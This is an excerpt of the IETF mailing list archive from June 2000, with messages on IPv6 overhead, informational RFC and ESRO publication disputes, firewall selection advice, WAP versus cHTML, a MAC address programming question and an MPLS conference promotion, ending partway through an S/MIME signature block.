

From owner-ietf-outbound  Tue Jun 27 21:40:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA28607
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 21:40:02 -0400 (EDT)
Received: from c014.sfo.cp.net (c014-h009.c014.sfo.cp.net [209.228.12.73])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA28487
	for <ietf@ietf.org>; Tue, 27 Jun 2000 21:33:18 -0400 (EDT)
From: narakamath@lightel.com
Received: (cpmta 198 invoked from network); 27 Jun 2000 18:32:48 -0700
Date: 27 Jun 2000 18:32:48 -0700
Message-ID: <20000628013248.197.cpmta@c014.sfo.cp.net>
X-Sent: 28 Jun 2000 01:32:48 GMT
Received: from [206.239.213.60] by mail.lightel.com with HTTP;
    27 Jun 2000 18:32:48 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: brian@hursley.ibm.com
Cc: Valdis.Kletnieks@vt.edu, narakamath@lightel.com, phil@nesser.com,
        iepg@iepg.org, nanog@nanog.org, ietf@ietf.org
X-Mailer: Web Mail 3.6.3.1
Subject: Re: IEPG Meeting - IP Addressing
X-Loop: ietf@ietf.org

IPv6 is a 'killer' from IP Switching point of view.  I was hoping IP switching will kill ATM over a period like 10 to 15 years (like what happened to X.25), and I prefer IP to ATM.  With IPv6 I am not so sure although I still think IP Switching will 'kill' ATM in 20 to 25 years.


On Tue, 27 June 2000, Brian E Carpenter wrote:

> 
> Valdis.Kletnieks@vt.edu wrote:
> > 
> > On Sun, 25 Jun 2000 08:01:03 PDT, narakamath@lightel.com said:
> > > IPv4 is running out of space but IPv6 is too much overhead.
> > 
> > You'd get a lot more usable response if you explained WHY you felt IPv6 is
> > too much overhead.  Often, the complaint is (for example) "It takes too long
> > to send a packet on a modem/PPP link", but they didn't have any IPv6 header
> > compression enabled, or some similar problem.
> 
> In any case this would be a pretty pointless discussion in the IEPG context.
> 
>   Brian




From owner-ietf-outbound  Tue Jun 27 23:50:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA02113
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 23:50:02 -0400 (EDT)
Received: from relay.lanka.net (lame.delegation.to.RIP.PSG.COM [202.51.128.9] (may be forged))
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01979
	for <ietf@ietf.org>; Tue, 27 Jun 2000 23:43:25 -0400 (EDT)
Received: from namal.lanka.net (namal.lanka.net [202.51.128.16])
	by relay.lanka.net (8.9.3/8.9.3) with ESMTP id JAA12717
	for <ietf@ietf.org>; Wed, 28 Jun 2000 09:42:54 +0600 (GMT)
Received: from dgtsl.sri.lanka.net ([202.51.156.178])
	by namal.lanka.net (8.10.0/8.10.0) with SMTP id e5S3gpP12425
	for <ietf@ietf.org>; Wed, 28 Jun 2000 09:42:51 +0600 (GMT)
Message-Id: <3.0.3.32.20000628094911.007f1700@mail4.lanka.net>
X-Sender: dgtsl@mail4.lanka.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 28 Jun 2000 09:49:11 +0600
To: ietf@ietf.org
From: Telecom Regulatory Commission of Sri Lanka <dgtsl@sri.lanka.net>
Subject: Joining IETF
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Dear Friends,
Glad to share the knowledge with all of you. 
Best Regards,
Champake Mendis
Assitant Director (Information & Documentation)
Telecommunications Regulatory Commission
276 Elvitigala Mawatha,
Colombo 8,
Sri Lanka.   Tel: (941) 684865  Fax: (941) 689341 
Email: dgtsl@sri.lanka.net/champake@sri.lanka.net
Web: www.geocities.com/champake or www.trc.gov.lk



From owner-ietf-outbound  Wed Jun 28 00:30:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA02878
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 00:30:02 -0400 (EDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02577
	for <ietf@ietf.org>; Wed, 28 Jun 2000 00:24:10 -0400 (EDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id AAA01718;
	Wed, 28 Jun 2000 00:24:05 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id UAA12598;
	Tue, 27 Jun 2000 20:03:35 -0400 (EDT)
Sender: hgs@cs.columbia.edu
Message-ID: <395940D7.49167588@cs.columbia.edu>
Date: Tue, 27 Jun 2000 20:03:35 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Keith Moore <moore@cs.utk.edu>
CC: Bob Braden <braden@isi.edu>, ietf@ietf.org
Subject: Re: The Non-IETF Informational RFC Publication Fiction
References: <200006272007.QAA19042@astro.cs.utk.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Keith Moore wrote:
> 

> 
> These days the value in the RFC series is not that it is a central
> repository for everything having to do with Internet protocols
> (as if such a repository were even feasible!) but that documents
> in the series are likely to be relevant and of reasonable quality.
> Indeed, were it not for the efforts of the RFC Editor and IESG to
> maintain a high quality document series, folks wouldn't be nearly
> so interested in having their documents published as RFCs.

There are plenty of publication venues available for network protocols.
Even those without access to a local tech report service can avail
themselves of, say, www.arXive.org, where entries are cataloged and
announced to interested parties. There are about 50,000
networking-related papers in my network bibliography
(http://www.cs.columbia.edu/~hgs/netbib) and it is far from complete,
containing mostly journal and peer-reviewed conference articles (as well
as RFCs). [That said, additions are much appreciated.] Should everyone
of them be an RFC? Why? Every journal and conference worth
reading/attending has an editorial board or technical program committee.
The review process for these typically takes from six months to a year
or more, with rejection ratios of 70 to 90% not uncommon. Compared to
that, the threshold and review for informational RFCs is pretty low (too
low, if you like).

> 
> Keith
> 
> -
> This message was passed through ietf+censored@alvestrand.no, which
> is a sublist of ietf@ietf.org. Not all messages are passed.
> Decisions on what to pass are made solely by Harald Alvestrand.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs



From owner-ietf-outbound  Wed Jun 28 00:40:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA03051
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 00:40:02 -0400 (EDT)
Received: from mailsrvnt01.ssdi.sharp.co.in ([203.197.160.35])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02809
	for <ietf@ietf.org>; Wed, 28 Jun 2000 00:24:33 -0400 (EDT)
Received: by mailsrvnt01.ssdi.sharp.co.in with Internet Mail Service (5.5.2650.21)
	id <NPYLVVC2>; Wed, 28 Jun 2000 10:02:39 +0530
Message-ID: <9753A88725D7D3119BE0009027CC6CA2206107@mailsrvnt01.ssdi.sharp.co.in>
From: Sriram Shanmugam <SSriram@ssdi.sharp.co.in>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: MAC Address.
Date: Wed, 28 Jun 2000 10:02:38 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Hai,

How do i get the MAC address of the Network card in Windows environment, i
would like to get it thru my program , is there any option in WSAIoctl() ?.

Regards,

S.Sriram



From owner-ietf-outbound  Wed Jun 28 01:40:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA08531
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 01:40:03 -0400 (EDT)
Received: from mail1.rdc3.on.home.com (mail1.rdc3.on.home.com [24.2.9.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07272
	for <ietf@ietf.org>; Wed, 28 Jun 2000 01:31:46 -0400 (EDT)
Received: from intruder ([24.114.219.42]) by mail1.rdc3.on.home.com
          (InterMail vM.4.01.02.00 201-229-116) with SMTP
          id <20000628053126.VVDD416.mail1.rdc3.on.home.com@intruder>;
          Tue, 27 Jun 2000 22:31:26 -0700
From: Garreth Jeremiah <garrethj@home.com>
Reply-To: garrethj@home.com
To: Valdis.Kletnieks@vt.edu, Don Balunos <don.balunos@neuronet.com.my>
Subject: Re: Firewall System
Date: Wed, 28 Jun 2000 01:19:49 -0400
X-Mailer: KMail [version 1.0.29]
Content-Type: text/plain
Cc: ietf@ietf.org
References: <003901bfe02a$fb651fe0$75f0a8c0@don> <200006271343.e5RDhUP21880@black-ice.cc.vt.edu>
In-Reply-To: <200006271343.e5RDhUP21880@black-ice.cc.vt.edu>
MIME-Version: 1.0
Message-Id: <00062801325302.02675@intruder>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id BAA07272
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

However - as a start, look at both open source and "commercial" products - a
few names:

Checkpoint - huge user community plus industry suport for more complete
solutions using OPSEC ( not as "complete as some others though ).  Has ability
to manage other infrastructure components ( only filters ) such as Ciso PIX,
routers etc.

Cisco - PIX Firewal - I personally don;t recommend this firewall at present,
but it does have the cisco product suite behing it, including net ranger

AXENT - A more complete security suite - Raptor Firewall, ESM compliance
monitor (host) net recon culnerability analysis ( network based ) and Intrusion
detection through IA, net prowler.  Recently integrated "like" components
together.

In choosing try to consider border protection ( firewall ) intrusion detection
( IDS ) and policy compliance ( compliance monitoring ).  Then in the midst of
this comes virus scanners / email scanners ( at border and internally ) content
security/filtering.  If you do not have a security policy - then this should
probably be your first step ( for both the border and the internal network )

Remember that you must ensure that skills to manage the security components
added.  It is useless to add them and just expect them to make you "secure". 
They will not.  IDS need tuning, policies need reviewing process need creating,
firewalls need monitoring, someone needs to know how to respond the Intrusion
Detection alerts etc.

I suggest that perhaps ( if you can afford it ) you either outsource the work,
or call in a security solutoiins group ( not necessarily a re-seller or
developer of tools )

Garreth J Jeremiah
IT Security Specialist

On Tue, 27 Jun 2000, Valdis.Kletnieks@vt.edu wrote:
> 
> On Tue, 27 Jun 2000 19:29:39 +0800, Don Balunos <don.balunos@neuronet.com.my>  said:
> > now i'm out-sourcing a best firewall system for our company so can =
> > anyone help me on this.
> 
> First off, you didn't specify how "best" was defined.  The "best" solution
> will depend on a lot of things, including organization size, type of business,
> connectivity required (both total bandwidth and number/types of ports/protocols
> needed).  I've seen very effective firewalls constructed out of an old PC
> with a 386 chip, an ethernet card, and a 56K modem running KA9Q.  I've seen
> similar gear running Linux with 'ipchains' filtering.  Both of those would
> melt down in our routing swamp if forced to drink from our multiple OC12s.
> 
> Secondly, to paraphrase the breakfast cereal companies, "Firewalls are
> a part of a *complete and balanced* security breakfast".  Note that the
> recent rash of Outlook e-mail based viruses had *no* problem penetrating
> most firewalls, and a similar attack could easily install a back-channel
> trojan that connects back to the attacker from within....
> 
> If your organization thinks that a firewall will "solve" any security problems,
> they are in for a seriously rude awakening.  If they're approaching it as
> *one part* of an *overall* security scheme, that's a different story...
> 
> -- 
> 				Valdis Kletnieks
> 				Operating Systems Analyst
> 				Virginia Tech
> 
> 

----------------------------------------
Content-Type: application/pgp-signature; name="unnamed"
Content-Transfer-Encoding: 7bit
Content-Description: 
----------------------------------------



From owner-ietf-outbound  Wed Jun 28 02:00:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA09218
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 02:00:02 -0400 (EDT)
Received: from nix.swip.net (nix.swip.net [192.71.220.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA09160
	for <ietf@ietf.org>; Wed, 28 Jun 2000 01:53:54 -0400 (EDT)
Received: from [192.168.110.10] (nix.swip.net [192.71.220.2]) 
          by nix.swip.net (8.8.8/8.8.8) with ESMTP 
          id HAA00734; 
          Wed, 28 Jun 2000 07:52:43 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: paf@127.0.0.1
Message-Id: <p04320429b57f3cb88676@[192.168.110.10]>
In-Reply-To: <20000627163848.15787.qmail@tooran.byname.net>
References: <200006271548.PAA03441@gra.isi.edu>
 <20000627163848.15787.qmail@tooran.byname.net>
Date: Wed, 28 Jun 2000 07:25:46 +0200
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>,
        Bob Braden <braden@ISI.EDU>
From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?=  <paf@swip.net>
Subject: Re: The Non-IETF Informational RFC Publication Fiction
Cc: ietf@ietf.org, public@mohsen.banan.1.byname.net
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

At 16.38 +0000 00-06-27, Mohsen BANAN-Public wrote:
>I believe I also played a significant role in
>establishing the RFC Editor's independence based on my insistence on
>doing it by the book.

Not at all.

You did not change or play any specific role at all.

The standard mechanism was used.

    paf



From owner-ietf-outbound  Wed Jun 28 02:10:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA15979
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 02:10:03 -0400 (EDT)
Received: from mgate-01.teledesic.com (mgate-01.teledesic.com [216.190.22.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA15941
	for <ietf@ietf.org>; Wed, 28 Jun 2000 02:06:11 -0400 (EDT)
Received: by mgate-01.teledesic.com with Internet Mail Service (5.5.2650.21)
	id <NYLTRSDB>; Tue, 27 Jun 2000 22:59:45 -0700
Message-ID: <25D0C66E6D25D311B2AC0008C7913EE0AE52A6@tdmail2.teledesic.com>
From: Dan Kohn <dan@dankohn.com>
To: "'L.Wood@eim.surrey.ac.uk'" <L.Wood@eim.surrey.ac.uk>,
        Brijesh Kumar
	 <bkumar@ennovatenetworks.com>, ietf@ietf.org
Subject: RE: WAP and IP
Date: Tue, 27 Jun 2000 22:51:45 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

As for cellular expertise, see
<http://www.ietf.org/html.charters/pilc-charter.html> and in particular
<http://www.normos.org/ietf/rfc/rfc2757.txt>.

		- dan
--
Daniel Kohn <mailto:dan@dankohn.com>
tel:+1-425-602-6222
http://www.dankohn.com

-----Original Message-----
From: Lloyd Wood [mailto:l.wood@eim.surrey.ac.uk]
Sent: Tuesday, 2000-06-27 04:05
To: Brijesh Kumar
Cc: 'Vernon Schryver'; ietf@ietf.org
Subject: RE: WAP and IP


On Mon, 26 Jun 2000, Brijesh Kumar wrote:

> Mohsen may be accused of any thing, but calling Mohsen whose aim is to
> create an open alternative to WAP is hilarious. And, Mohsen at least
> understands the issues involved in wireless cellular communication,
> something that can be said of many other TCP/IP for every thing
> advocates.

I don't think that paragraph says anything remotely near what you
wanted it to say.

You'd be more convincing if you said less.

L.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Wed Jun 28 06:20:41 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA17540
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 06:20:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA17517
	for <ietf@ietf.org>; Wed, 28 Jun 2000 06:19:28 -0400 (EDT)
Received: from langfjella.Alvestrand.no (langfjella.maxware.no [10.128.1.12] (may be forged))
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id MAA14528;
	Wed, 28 Jun 2000 12:19:18 +0200
Message-Id: <4.3.2.7.2.20000628115847.0338ced8@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 28 Jun 2000 12:13:53 +0200
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: Re: ESRO (RE: WAP and IP)
Cc: ietf@ietf.org
In-Reply-To: <20000627145628.15535.qmail@tooran.byname.net>
References: <4.3.2.7.2.20000626080659.03273ef8@dokka.kvatro.no>
 <p04320412b57a070c8adf@[10.0.1.2]>
 <200006222310.RAA15677@calcite.rhyolite.com>
 <20000624003117.298.qmail@tooran.byname.net>
 <20000626053015.10590.qmail@tooran.byname.net>
 <4.3.2.7.2.20000626080659.03273ef8@dokka.kvatro.no>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 14:56 27.06.2000 +0000, Mohsen BANAN-Public wrote:
>Other UDP ports can be used. There is nothing in the design of ESRO
>that limits UDP port usage. This much is obvious. In fact EMSD uses
>its own UDP port. Other Efficient Applictions can use other UDP ports
>with ESRO. That was part of our design. There is no shortage of UDP ports.

my comment was that the spec didn't say this, it said that ESRO used port 259.
your reply acknowledging this is in 
http://www.esro.org/communicationRecord/rfc2188Publication/msg00020.html 
(nice of you to provide the archive, btw).

The published RFC did not clarify this point.

My note was dated Aug 17, 1997; the RFC was published on Sept 9, so you 
probably decided that pushing it out the door was more important than 
addressing my concern in the RFC.

btw, the dustup over ESRO did lead to a number of tightenings of the 
procedures for informational publication. I hope we do better now; while I 
personally don't think the protocol is very useful, the procedural foulup 
was inexcusable.

                 Harald

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Wed Jun 28 06:40:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA17698
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 06:40:02 -0400 (EDT)
Received: from chibdc01.thgus.com ([208.205.25.50])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA17672
	for <ietf@ietf.org>; Wed, 28 Jun 2000 06:37:43 -0400 (EDT)
Received: by CHIBDC01 with Internet Mail Service (5.5.2650.21)
	id <NPX6F102>; Tue, 27 Jun 2000 16:37:19 -0500
Message-ID: <01B2EF133BD0D311B652009027DE74CD3320AC@CHIBDC01>
From: Ann Pendleton <AnnP@thgus.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: MPLS conference
Date: Tue, 27 Jun 2000 16:37:17 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


As you may know ICM has recently finalized the 3rd MPLS event.
I would definitely be interested in continuing a working relationship for
the upcoming MPLS event.  Following is some further information, I would be
happy to answer any specific questions you may have.

MPLS GL0BAL SUMMIT 2000 
OCTOBER 3-5, 2000 - BOSTON, MA	

CONFERENCE FOCUS:
Over the past year, MPLS has received a great deal of attention as the next
great traffic engineering solution.  The core benefits of MPLS have been
widely promoted and now carriers must examine how MPLS can enhance their
networks and services in a manner that extends benefits to their customers.
Through two tracks, this information-packed event will divulge key issues
including:

TRACK ONE:					TRACK TWO:
TECHNICAL IMPLICATIONS			UTILIZING MPLS FOR APPLICATION-
FOR NETWORK EFFICIENCY			BASED ENHANCEMENTS


-Integrating legacy technologies			-MPLS for core
applications
	-ATM 	-Network Management
	-SONET 	-Routing for new network architectures
-Frame Relay 	-MPLS for access-level applications:
-Traffic engineering through MPLS	-ASP enhancements with MPLS
-Developing SLAs to enhance QoS	-Virtual private networks
-Convergence of MPLS and optics	-Voice, video and data
-Integrating enhanced DiffServ services	-QoS for mission-critical
applications
-MPLS protocols				-Analysis of  early MPLS deployments
						
AUDIENCE:
This event will bring together a diverse range of communications service
providers, including major carriers, RBOCs, CLECs, ILECs, IXCs and cable and
wireless providers.  An increasingly important market also includes the
corporate enterprise evaluating the potential of MPLS for enhanced corporate
network applications.  Those, in particular, invited to attend will include
CIOs, CTOs, Directors and Managers of network architecture, systems
engineering, data systems, network services and operations, systems
development and technology integration.

SPEAKERS:
Past speakers have included CEOs, CIOs, Presidents, Vice Presidents and
senior-level representatives from Qwest Communications, UUNET,
Frontier/Global Crossing, Bell Nexxia, MCI Worldcom, Bell Atlantic, Cisco
Systems, Nortel Networks, Fore Systems, Lucent Technologies, Ericsson, Avici
Systems, Ennovate Networks, Newbridge Networks, IBM, Digex, Harris&Jeffries,
Juniper Networks, Integral Access, and GTE.

PAST EVENTS:
The MPLS Global Summit is ICM's third MPLS event.  The program has been
recognized as one of the leading industry events.  The most recent gathering
in San Diego attracted approximately 250 representatives from leading
carriers and organizations worldwide.

There are several options for co-marketing this event.  I am certainly open
to your suggestions and feedback.  I look forward to speaking with you.

Warm regards
-Ann
_____________________________________________
Ann Pendleton
Marketing Manager
ICM Conferences IT/Telecom Division
303 E. Wacker Drive, 20th FL
Chicago, IL 60601
Phone: 312.894.6418
Fax: 312.894.6390



From owner-ietf-outbound  Wed Jun 28 08:00:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA19748
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 08:00:03 -0400 (EDT)
Received: from pivsbh1.ms.com (pivsbh1.ms.com [199.89.64.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19500
	for <ietf@ietf.org>; Wed, 28 Jun 2000 07:52:32 -0400 (EDT)
Received: (from uucp@localhost)
        by pivsbh1.ms.com (8.9.3/fw v1.30) id HAA29808
        for <ietf@ietf.org>; Wed, 28 Jun 2000 07:52:32 -0400 (EDT)
Received: from localhost(127.0.0.1) by pivsbh1 via smap (4.1)
	id sma.9621931411.029678; Wed, 28 Jun 00 07:52:21 -0400
Received: (from uucp@localhost)
	by pivsbh1.ms.com (8.9.3/8.9.3(vs)) id HAA29658
	for <ietf@ietf.org>; Wed, 28 Jun 2000 07:52:20 -0400 (EDT)
X-Authentication-Warning: pivsbh1.ms.com: Processed from queue /var/spool/mqueue-vs
X-Authentication-Warning: pivsbh1.ms.com: Processed by uucp with -C /etc/mail/sendmail.vs.cf
Received: from ebsmh2.ms.com(161.144.69.74) by pivsbh1 via smap (4.1)
	id sma.9621931301.029505; Wed, 28 Jun 00 07:52:10 -0400
Received: from msdw.com (eb114206.morgan.com [161.144.82.69])
        by ebsmh2.ms.com (8.8.5/imap+ldap v2.4) with ESMTP id UAA02110
        for <ietf@ietf.org>; Wed, 28 Jun 2000 20:52:08 +0900 (JST)
Message-ID: <3959E6E8.CF65B8DD@msdw.com>
Date: Wed, 28 Jun 2000 20:52:09 +0900
From: Renfield Kuroda <Renfield.Kuroda@msdw.com>
Organization: Morgan Stanley Dean Witter & Co.
X-Mailer: Mozilla 4.7 [ja]C-CCK-MCD   (WinNT; I)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: ietf@ietf.org
Subject: re:wap is a trap - reject wap
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms08FCE5922D837C5A768C8DD4"
X-Loop: ietf@ietf.org

This is a cryptographically signed message in MIME format.

--------------ms08FCE5922D837C5A768C8DD4
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit

I find it fascinating that nobody's mentioned cHTML as a viable
alternative to WML.

Here in Japan, inarguably on the forefront of wireless internet, NTT
DoCoMo's I-Mode service enjoys almost 8 million regular users of cHTML
over PDC packet-switched network.

cHTML is simple, easy to migrate to xHTML (or whatever future standard
there will be), and totally compatible with existing internet
technologies and standards.

r e n


--
ascii: r e n f i e l d
octal: \162 \145 \156 \146 \151 \145 \154 \144
hex:   \x72 \x65 \x6e \x66 \x69 \x65 \x6c  \x64
** note new work email: renfield.kuroda@msdw.com **


--------------ms08FCE5922D837C5A768C8DD4
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature
Content-Transfer-Encoding: base64

MIIKSQYJKoZIhvcNAQcCoIIKOjCCCjYCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
CD0wggUbMIIEhKADAgECAhA0bpDgf0rNBjdrBVzpBaCpMA0GCSqGSIb3DQEBBAUAMIGPMR8w
HQYDVQQKExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMSkwJwYDVQQLFCBNb3JnYW4gU3Rhbmxl
eSBEZWFuIFdpdHRlciAmIENvLjFBMD8GA1UECxQ4TW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0
ZXIgJiBDby4gQ2xhc3MgMiAtIEluZGl2aWR1YWwgQ0EwHhcNMDAwNjI1MDAwMDAwWhcNMDEw
NjI1MjM1OTU5WjCB6zEpMCcGA1UEChQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBD
by4xIDAeBgNVBAsUF0NsYXNzIDIgLSBJbmRpdmlkdWFsIENBMUYwRAYDVQQLEz13d3cudmVy
aXNpZ24uY29tL3JlcG9zaXRvcnkvQ1BTIEluY29ycC4gYnkgUmVmLixMSUFCLkxURChjKTk2
MREwDwYDVQQMFAhFbXBsb3llZTEYMBYGA1UEAxMPUmVuZmllbGQgS3Vyb2RhMScwJQYJKoZI
hvcNAQkBFhhyZW5maWVsZC5rdXJvZGFAbXNkdy5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBAOdHWLpifEbCYl6NmG9COPoOgvVCkk+0gSW3nk95ei58R+4E6rS6/RS2M/ZvKxII
WfFY1URZYB/jDZrmlvhwMAOG9b6AExD6MmEGfvPIASo1k8Jqr68Jv43FoMPVPglREvyNZEAy
vM2ZOg7b4d/JA53/tbYuV2JBG7f2HG2DMWsbAgMBAAGjggIYMIICFDAJBgNVHRMEAjAAMGQG
A1UdHwRdMFswWaBXoFWGU2h0dHA6Ly9vbnNpdGVjcmwudmVyaXNpZ24uY29tL01vcmdhblN0
YW5sZXlEZWFuV2l0dGVyQ29DbGFzczJJbmRpdmlkdWFsQ0EvTGF0ZXN0Q1JMMAsGA1UdDwQE
AwIHgDCBrAYDVR0gBIGkMIGhMIGeBgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0
cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJ
bmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0
ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeAMBEGCmCGSAGG+EUBBgkEAwEB
/zCBvgYKYIZIAYb4RQEGDgSBrxaBrDRSR09vNTFqa1UrMHFBTzZ0VW1oQXdtcjlOMFRPS051
Qk5uK25YSHZBR2FrOGZGUXBlMXh3QUw2Y29aUHA3MmpXalBJM2YxUU5CWHoyZFNBVUsrTTVM
VXpvejNvODIvU2lXL3hYcDNSZjNhblY4dWI3NmZUeUNUelBpWFFMSDNPV0xzU2VrZzNRSWpC
N1BqMWlNQUtIUmhCTkdHbXB6ZHZpWWRsaUZyRG5tdz0wDQYJKoZIhvcNAQEEBQADgYEAoj1q
iVMVkFq2eQ/BmrDxFUIveg9opc8P9MqGMnoiJLQj87Eg0mYq1Wv+ZWsW3YCTDAhRi7EIguPa
Quc5KkkO28hnvT7yQViBZHLmfKAVnvnmjERV3LSnU7h2K+UPZKAwpPdwQDiRucfqb2FNanTe
SZ98DL7sI7SGL6uvY7JRpwswggMaMIICg6ADAgECAhEAjHjAZkN+HYAolSapyvcyfTANBgkq
hkiG9w0BAQQFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1
BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkw
HhcNOTgwNDMwMDAwMDAwWhcNMDMwNDMwMjM1OTU5WjCBjzEfMB0GA1UEChMWVmVyaVNpZ24g
VHJ1c3QgTmV0d29yazEpMCcGA1UECxQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBD
by4xQTA/BgNVBAsUOE1vcmdhbiBTdGFubGV5IERlYW4gV2l0dGVyICYgQ28uIENsYXNzIDIg
LSBJbmRpdmlkdWFsIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC1mUR/KpkrVHfx
RivXjy0hlN7b0mmvTXH7pI030m+cJkaLZ4V8K50DMMLvEOcMXNwW0EhEeTiLTdrF7VmQNIeI
aa5ZN8vQGal6Uy1Zg/QY4LomtBeIFwmz1GkyNcnxodk3HH8UsAhhxxN/ofNlMmFYh1Vf83wF
/vxuSi+7kvYb5QIDAQABo4GkMIGhMCgGA1UdEQQhMB+kHTAbMRkwFwYDVQQDExBQcml2YXRl
TGFiZWwxLTQ2MBEGCWCGSAGG+EIBAQQEAwIBBjBEBgNVHSAEPTA7MDkGC2CGSAGG+EUBBwEB
MCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9SUEEwDwYDVR0TBAgw
BgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAY4G8DsKecmel3uL8rahe
drOWYJCAQzsy6vuR+xeCwdf4IsdHcgxOqDUWNc4znCQvBDrZhwhI+6oogQGoWvuKsuBNCIB8
gXuwjL9HMrf4mp6RM/sNDonVv1Xc3ZdpDB9pUgqBq04BaSmccHy+2GLNkL5/nny7l6mubSbV
eBMpmkgxggHUMIIB0AIBATCBpDCBjzEfMB0GA1UEChMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y
